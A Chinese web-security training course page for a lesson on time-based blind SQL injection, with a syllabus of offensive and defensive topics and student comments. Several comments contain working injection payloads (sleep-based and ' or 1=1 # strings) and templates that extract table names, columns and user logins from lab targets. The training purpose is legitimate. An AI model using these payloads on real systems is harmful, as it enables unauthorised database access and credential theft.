Web 安全攻防实战
王昊天
螣龙安科创始人兼 CEO
25016 人已学习
新⼈⾸单¥68
课程目录
已完结/共 106 讲
第二章:Web安全之后端安全 (46讲)
Web 安全攻防实战
登录|注册
留言
9
收藏
沉浸
阅读
分享
手机端
回顶部
当前播放: 24 | SQL注入实战:利用时间盲注绕过无报错无回显场景
00:00 / 00:00
高清
  • 高清
1.0x
  • 2.0x
  • 1.5x
  • 1.25x
  • 1.0x
  • 0.75x
  • 0.5x
网页全屏
全屏
00:00
付费课程,可试看
01 | 课程介绍
02 | 内容综述
03 | Web安全前端基础:HTML
04 | Web安全前端基础:CSS、JavaScript
05 | 探究网站的运作原理:用Python写一个简单的Web App
06 | Web框架的运作原理:用Django快速搭建一个网站
07 | HTTP协议是怎么工作的?
08 | 常见的Web安全漏洞都有哪些?
09 | Web渗透工具入门:Burp Suite、cURL、Postman
10 | Web渗透插件入门:Wappalyzer、HackBar
11 | 文件上传漏洞:漏洞原理&一句话木马
12 | 文件上传漏洞初阶:后缀名绕过&原理探究
13 | 文件上传漏洞中阶:前端验证绕过、.htaccess绕过、大小写绕过
14 | 文件上传漏洞高阶:文件流绕过、字符串截断绕过、文件头检测绕过
15 | 文件上传漏洞:初探源码审计
16 | 文件上传漏洞:初探Fuzz
17 | Web安全后端基础:数据库的基本概念
18 | Web安全后端基础:极简MySQL入门
19 | SQL注入漏洞的原理及其危害
20 | 从协议视角看注入:GET型注入攻击及防御
21 | 从协议视角看注入:POST型注入攻击及防御
22 | SQL注入实战:判断SQL注入点&防御方式
23 | 宏观视角看注入:5种不同的SQL注入类型
24 | SQL注入实战:利用时间盲注绕过无报错无回显场景
25 | SQL注入实战:隐蔽的HTTP头盲注
26 | SQL注入实战:利用数据库的bug进行报错注入
27 | SQL注入实战:实施报错注入攻击
28 | SQL注入实战:威力巨大的堆叠注入
29 | SQL注入实战:游离在常规分类外的OOB注入
30 | SQL注入实战:浅谈OOB注入原理
31 | SQL注入实战:OOB注入之环境准备
32 | SQL注入实战:OOB注入关键函数解析之load_file
33 | SQL注入实战:实施OOB注入攻击
34 | SQL注入实战:如何绕过WAF之混淆注入原理
35 | SQL注入实战:如何绕过WAF之union、where、limit过滤绕过
36 | SQL注入实战:如何绕过WAF之group by、select、单引号、hex、unhex、substr绕过
37 | SQL注入实战:如何绕过WAF之空格、等号、双写、双重编码绕过
38 | SQL注入实战:如何绕过WAF之数据库底层编码注入攻击
39 | SQL注入实战:如何绕过WAF之二次注入攻击
40 | SQL注入实战:激动人心的命令执行
41 | SQL注入实战:webshell类型命令执行与交互
42 | SQL注入实战:UDF类型命令执行与交互
43 | SQL注入实战:玩转Linux权限管理之用户和组
44 | SQL注入实战:玩转Linux权限管理之文件权限
45 | SQL注入实战:自动化注入攻击之了解sqlmap
46 | SQL注入实战:玩转sqlmap之携带cookie
47 | SQL注入实战:玩转sqlmap之通过level设定检测深度
48 | SQL注入实战:玩转 sqlmap之读写server文件
49 | SQL注入实战:玩转sqlmap之实战脱库
50 | SQL注入实战:自动化注入攻击之FuzzDB+Burp组合拳
51 | SQL注入实战:欣赏优秀的Web后门之核心功能
52 | SQL注入实战:欣赏优秀的Web后门之免杀
53 | SQL注入实战:面向NoSQL数据库的注入攻击
54 | SQL注入实战:浅谈SQL注入防御方式及原理之预编译
55 | SQL注入实战:浅谈SQL注入防御方式及原理之过滤
56 | 加密算法与随机数
57 | Spring框架安全攻击和防御 - 什么是框架级漏洞
58 | Spring框架安全攻击和防御 - CVE-2017-8046利用
59 | Spring框架安全攻击和防御 - CVE-2017-8046分析
60 | 反射型XSS漏洞原理、案例及防御措施
61 | 存储型XSS漏洞原理、案例及防御措施
62 | DOM型XSS漏洞原理、案例及防御措施
63 | 伪协议与编码绕过
64 | XSS蠕虫实战案例分析
65 | XSS混淆编码
66 | CSRF跨站请求伪造漏洞原理、攻击演练
67 | 同源策略及跨源访问
68 | XSS及CSRF综合利用案例分析:点击劫持
69 | HTML5新标签及相应的安全分析(一)
70 | HTML5新标签及相应的安全分析(二)
71 | XSS之模板注入 - 初探Node.js模板引擎
72 | XSS之模板注入 - 模板引擎与XSS的关系
73 | XSS之模板注入 - 经典注入手法
74 | Javascript与RCE(远程代码执行)
75 | BlackHat议题追踪:XSS的危害不够大? - 构造攻击链
76 | BlackHat议题追踪:XSS的危害不够大? - CSRF到XSS
77 | BlackHat议题追踪:XSS的危害不够大? - XSS到RCE
78 | SSRF服务端请求伪造
79 | Apache安全专题 - 配置错误诱发的漏洞
80 | Apache安全专题 - CVE-2017-15715
81 | Nginx安全专题 - CRLF注入攻击
82 | Nginx安全专题 - CVE-2017-7529
83 | Tomcat安全专题
84 | PHP安全专题:了解PHP环境
85 | PHP安全专题:远程(本地)文件包含
86 | PHP安全专题:学习黑魔法函数
87 | PHP安全专题:序列化及反序列化漏洞
88 | PHP安全专题:浅谈PHP安全编码
89 | Java Web安全专题:Java Web基础
90 | Java Web安全专题:浅谈代码审计思路
91 | Node.js安全专题:Node.js基础
92 | Node.js安全专题:Express及其组件
93 | Node.js安全专题:Node.js安全开发技术
94 | Node.js安全专题:Node.js漏洞审计
95 | DDoS之协议层拒绝服务攻击:SYN泛洪、UDP泛洪、ICMP泛洪
96 | DDoS之应用层拒绝服务攻击:Slowloris攻击、HTTP Post DoS
97 | 如何做好认证与会话管理?
98 | 访问控制:水平权限&垂直权限
99 | 互联网公司运营安全、业务安全、业务逻辑安全策略规范
100 | 如何做好用户隐私保护?—— 开发者视角
101 | 如何做好用户隐私保护?—— 用户体验及产品设计视角
102 | 网络钓鱼防范:钓鱼网站、邮件钓鱼的防控
103 | 怎样建立安全开发流程(SDL)?
104 | 漏洞修补应当遵循怎样的流程?
105 | 如何建立安全监控规范?
106 | 结束语
登录 后留言

全部留言(9)

  • 最新
  • 精选
瑞泉
老师有java的靶机?网上只能找到php的靶机,老师帮忙介绍一下,现在工作需要针对tomcat下web服务进行渗透

作者回复: github 上搜索vulhub,或者跟着课程到后面有tomcat的内容。

2020-08-16
3
Kevin⚡️Zhou
https://github.com/KevinZhou92/WebHack/blob/master/sql_injection/time_based_injection.py 自己实现了下课后作业, 比较头痛的就是url都有细微的不同, 很难复用代码, 不知道是不是有经验的工程师也是这样

作者回复: 有不同的优化方案: 1. 可以通过进一步抽象代码框架,实现高复用; 2. 可以通过burp的组件实现半自动化; 3. 可以通过sqlmap来实现高度自动化及低代码配置/编程;

2020-07-26
8
3
Geek_753cec
http://192.168.0.105/sqli_15.php?title=World War Z' and sleep(3) -- &action=search 中的World War Z是如何取来的?

作者回复: ' or 1=1 # 可以获取哈

2022-01-01
Geek_51deb8
仿照样例写了个脚本,基本可以实现按步骤获取用户名、密码: 1、获取当前数据库的所有表 ['blog', 'heroes', 'movies', 'users', 'visitors'] 2、获取users表所有字段 ['id', 'login', 'password', 'email', 'secret', 'activation_code', 'activated', 'reset_code', 'admin'] 3、获取每一行login和password的值。

作者回复: o( ̄▽ ̄)d good真棒

2021-11-10
Snooker
老师好,如果业务系统没有对异常做处理,将数据库报错信息(比如:长度超长入库失败)直接抛出到web页面,这类场景是大概率存在sql注入漏洞吗?

作者回复: 是的,可以直接使用报错注入来做

2021-01-02
秃头小可爱
为什么我执行的 sleep(3) 实际时间是30秒, sleep(5)是50秒,跟你一样的环境,docker pull的sqli-labs

作者回复: 我猜想哈: 1. 会不会调用的sleep函数外部有循环或者什么; 2. 或者触发了ms与s的单位换算什么的; 以上纯属猜想,如果需要具体分析一下的话可以把具体sqli-labs的url链接回复到这里,我帮你看一下,当然也可以自己尝试分析哦,ヾ(◍°∇°◍)ノ゙

2020-10-09
2
CoffeeMilk
时间盲注获取用户信息 时间盲注解决资料链接:https://gitee.com/kafeiweimei/b-wapp-range-clearance/tree/master/%E6%BC%8F%E6%B4%9E%E7%B1%BB%E5%9E%8B%E5%92%8C%E8%A7%A3%E5%86%B3%E6%80%9D%E8%B7%AF/2-%E6%97%B6%E9%97%B4%E7%9B%B2%E6%B3%A8%E6%BC%8F%E6%B4%9E 思路: 《1》获取数据库: 1、使用【database()、length()】函数获取到数据库名称的长度; 2、根据获取到的数据库长度对数据库名称进行遍历出每个字符(使用substr()函数); 3、使用ASCII码对每个字符转化为数字; 4、将转化的数字与ASCII数字进行匹配; 5、将匹配的ASCII码数字在转为字符后拼接即可获取到数据库名称 《2》获取数据库下的所有表名名称 1、获取指定数据库包含几个表(即数据库包含的表数量使用if函数判断count); 2、获取到所有表的名称【分为: ①根据数据库包含的表数量进行遍历出每个表名称(使用limit遍历); ②获取每个表名称的长度(使用Length函数); ③根据获取到的每个表名称长度遍历出表名称包含的每个字符(使用Substr函数); ④将遍历出的表名称字符转为ASCII码数字进行匹配; ⑤匹配出来的数字使用转为字符(使用chr方法) 】 《3》获取到每个表对应的字段及其对应的数据 获取表对应的字段及其对应数据的逻辑与【《2》获取数据库下的所有表名名称】一样
2023-01-13
1
Geek_b0153c
length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=%d and sleep(3) #获取表名长度 ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),%d,1))=%d and sleep(3) #获取表名 length((select column_name from information_schema.columns where table_name='users' limit 1,1))=%d and sleep(3) #获取user表列名长度 ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),%d,1))=%d and sleep(3) #获取列名 length((select login from users limit 1,1))=%d and sleep(3) #获取user表中login长度 ascii(substr((select login from users limit 1,1),%d,1))=%d and sleep(3) #获取user表中login值
2021-03-07
一颗胖杉🍧
课后作业,获取用户名和密码的思路能讲讲吗?
2021-02-26
1
收起评论